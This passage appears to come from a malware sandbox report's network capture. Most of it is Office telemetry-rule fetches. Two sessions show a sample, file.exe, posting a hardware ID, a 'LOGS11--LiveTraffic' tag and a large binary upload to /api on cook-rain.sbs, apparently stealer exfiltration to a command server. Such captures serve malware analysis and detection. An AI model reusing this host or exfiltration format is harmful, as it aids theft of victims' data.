2024-11-22 00:02:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 15a67567-d01e-0066-07eb-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000233Z-15b8b599d88z9sc7hC1TEBkr4w00000000vg0000000034ud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:33 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:34 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000233Z-15b8b599d88g5tp8hC1TEByx6w00000000kg00000000buxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:33 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:34 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 52ac3eb7-c01e-0079-7e4e-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000233Z-15b8b599d88pxmdghC1TEBux9c00000000v0000000004h14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49740	104.21.66.38	443	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:33 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9AY7QWBZL68NO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1212 Host: cook-rain.sbs
2024-11-22 00:02:33 UTC	1212	OUT	Data Raw: 2d 2d 39 41 59 37 51 57 42 5a 4c 36 38 4e 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 44 44 30 30 37 35 32 43 41 41 38 41 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 39 41 59 37 51 57 42 5a 4c 36 38 4e 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 41 59 37 51 57 42 5a 4c 36 38 4e 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 41 59 37 51 Data Ascii: --9AY7QWBZL68NOContent-Disposition: form-data; name="hwid"4BDD00752CAA8A67D7CBBD6DF28D3732--9AY7QWBZL68NOContent-Disposition: form-data; name="pid"1--9AY7QWBZL68NOContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--9AY7Q
2024-11-22 00:02:34 UTC	1008	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3nehak4s823sf24lha4dhsokug; expires=Mon, 17-Mar-2025 17:49:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Y9M4RW0TeoiZ%2FooUMzYAp9CqXXB7YOgXnkfsUOdx4WvSmw0Zg7lppyem8jV6z20TqL7zvFjmvuru4vhFfFI5Ohs8V8H%2BoIoIvJLnPT%2BpLyTD%2FnX33f2gVb15mwVUD%2Ft"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e64a6c31e3d43c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1622&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2121&delivery_rate=1788120&cwnd=230&unsent_bytes=0&cid=a3193babcf1544f4&ts=940&x=0"
2024-11-22 00:02:34 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-22 00:02:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:35 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000235Z-174c587ffdfks6tlhC1TEBeza400000000tg0000000052v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:35 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:35 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:35 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000235Z-15b8b599d88pxmdghC1TEBux9c00000000sg00000000d4q6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:35 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:36 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000236Z-174c587ffdfn4nhwhC1TEB2nbc00000000rg00000000c6ng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:35 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 79192ebf-401e-0035-7e68-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000236Z-178bfbc474bscnbchC1NYCe7eg00000002bg000000009m0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:35 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:36 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 00870788-c01e-000b-155b-3ce255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000236Z-178bfbc474btvfdfhC1NYCa2en000000025g00000000s929 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:36 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49748	104.21.66.38	443	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:37 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3VC5LVVAHV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550832 Host: cook-rain.sbs
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: 2d 2d 33 56 43 35 4c 56 56 41 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 44 44 30 30 37 35 32 43 41 41 38 41 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 33 56 43 35 4c 56 56 41 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 56 43 35 4c 56 56 41 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 33 56 43 35 4c 56 56 41 48 56 0d 0a 43 6f Data Ascii: --3VC5LVVAHVContent-Disposition: form-data; name="hwid"4BDD00752CAA8A67D7CBBD6DF28D3732--3VC5LVVAHVContent-Disposition: form-data; name="pid"1--3VC5LVVAHVContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--3VC5LVVAHVCo
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: 94 9d 25 1e b3 7f 77 2f be d8 9f 2d c2 70 d2 26 92 de 45 21 1d 76 15 10 73 ea bf 12 4f 96 5c d4 ed ff 76 a2 12 77 f5 d7 fd d0 19 f1 de 5a f1 c5 f7 df ea a4 47 be eb 53 e4 a7 09 5f f3 90 5e b8 2e 30 df dd 79 5c e3 43 6a db 08 ce 02 27 69 fe 26 03 a5 9f e6 71 32 55 3d c5 17 12 5b ff a1 75 29 36 5e 78 df 96 e1 43 d2 a7 c0 f1 08 aa c2 df 67 91 ea d3 47 a9 ca 4e 1a d6 0f 7a 92 63 e3 fc 7e 2c e5 2d 39 16 42 df 2e e6 66 9b fd a3 b7 75 bd e8 e8 34 e6 0d 31 d3 19 ba a5 fa 93 d8 15 7d 44 be 80 90 1c ea 53 78 da 89 9f cf 5f 9c b8 76 75 dc 22 9e 8f 3b e2 1c dc 26 b1 c2 2e 5b 44 cf c5 6f 26 bd 0b fc 47 b2 b8 b1 d1 14 13 b4 48 a0 02 d7 f4 a5 19 c4 3c 81 a3 68 aa 26 c1 3b 1e 72 3c 0a 74 69 85 10 ec c7 1d 11 41 0a 71 c4 4b 1e 74 88 ae eb 10 a0 e6 82 fa f6 c7 3a d5 81 15 Data Ascii: %w/-p&E!vsO\vwZGS_^.0y\Cj'i&q2U=[u)6^xCgGNzc~,-9B.fu41}DSx_vu";&.[Do&GH<h&;r<tiAqKt:
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: bf 0f 75 b2 ac e8 0f d9 ea 85 e3 70 74 7a 17 15 5d 8f 68 28 0b 1d 59 75 75 1e 14 2e 3f 9b 27 26 1a 1b 7f 54 43 8d 6a 61 1b b3 cf 6b ff 80 ff dc dc d8 8a f4 35 b2 c5 9e 01 cf f8 6b fb b3 9c 4c 8e 0e 4b 17 a8 77 bd 1c ad 35 03 3e 95 30 11 50 0c ae 61 c5 cd a0 27 50 4c 3b 78 d7 d0 86 f2 e4 21 54 f0 03 67 42 71 c9 85 ef d7 2a 08 31 2f c3 de a3 9b 57 6e cf 6e 7c fc 68 5f eb 18 5e 4b 1d b1 58 bb 74 4f ad fe 42 e9 73 56 d4 2e ab 22 31 c2 e0 c1 c5 7c 14 f3 56 c8 f6 a3 8f 51 f4 51 fd 14 f5 61 2e fb 53 fb 0b 51 50 77 c6 ba 36 93 a6 45 2a 8a 58 fb 2e ad 35 b7 43 25 3a 32 86 c6 07 3e 5d 99 68 50 81 ba 5b 8b b0 c1 21 5e d3 d8 9b fe 06 67 53 92 8e ee 54 ba a0 43 b9 d1 ff cd 50 ba a0 83 9c c8 73 56 5c e0 fe fb 98 f2 9f d6 6e 98 d9 95 59 62 41 10 43 5c 3a 06 da da f5 79 Data Ascii: uptz]h(Yuu.?'&TCjak5kLKw5>0Pa'PL;x!TgBq1/Wnn\|h_^KXtOBsV."1\|VQQa.SQPw6EX.5C%:2>]hP[!^gSTCPsV\nYbAC\:y
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: 51 58 8c ea 14 8a c4 82 53 2c 4a 80 d5 47 35 51 2b 68 68 29 3d 55 f5 c9 8d ab 76 b4 9f 57 e5 e9 1d 9c 5d b7 74 3d bf 3c 25 e7 9d 6f 44 cf 04 1e b4 99 77 71 68 3c bf b3 12 2d c3 f8 d2 7c 18 9c cb 40 97 ca 80 f0 5e d5 31 94 d2 8c 07 16 88 62 9e 40 74 f5 b4 7b 2a 34 3d 04 49 07 3a 2a 22 e5 cb 5a a4 20 17 44 a3 31 8a 28 25 45 bc 53 5b a2 05 c9 84 c2 09 b4 e5 0b d6 db 4e 18 06 67 e9 8f d4 25 57 6a 49 05 5a 5c 14 eb f0 8c 95 cf cb 39 a0 8a 1d 76 c8 e3 df 38 73 4c 20 77 5c 87 ad 3a 86 6f 5b b7 05 5a 63 57 85 c2 7f 71 d5 a7 73 83 2b 3c 53 fa 5e b7 ac 9a 38 bd 0f f3 14 73 e6 94 27 b8 69 5d 88 7b 21 38 5c e5 ca 59 c7 7f ba 5a eb ce ad f4 32 96 12 0a b5 37 dc 1a bf d0 24 e2 97 ad 58 90 5a 1e 3f 1d 54 97 57 64 b6 f7 98 7c 42 67 78 88 0f 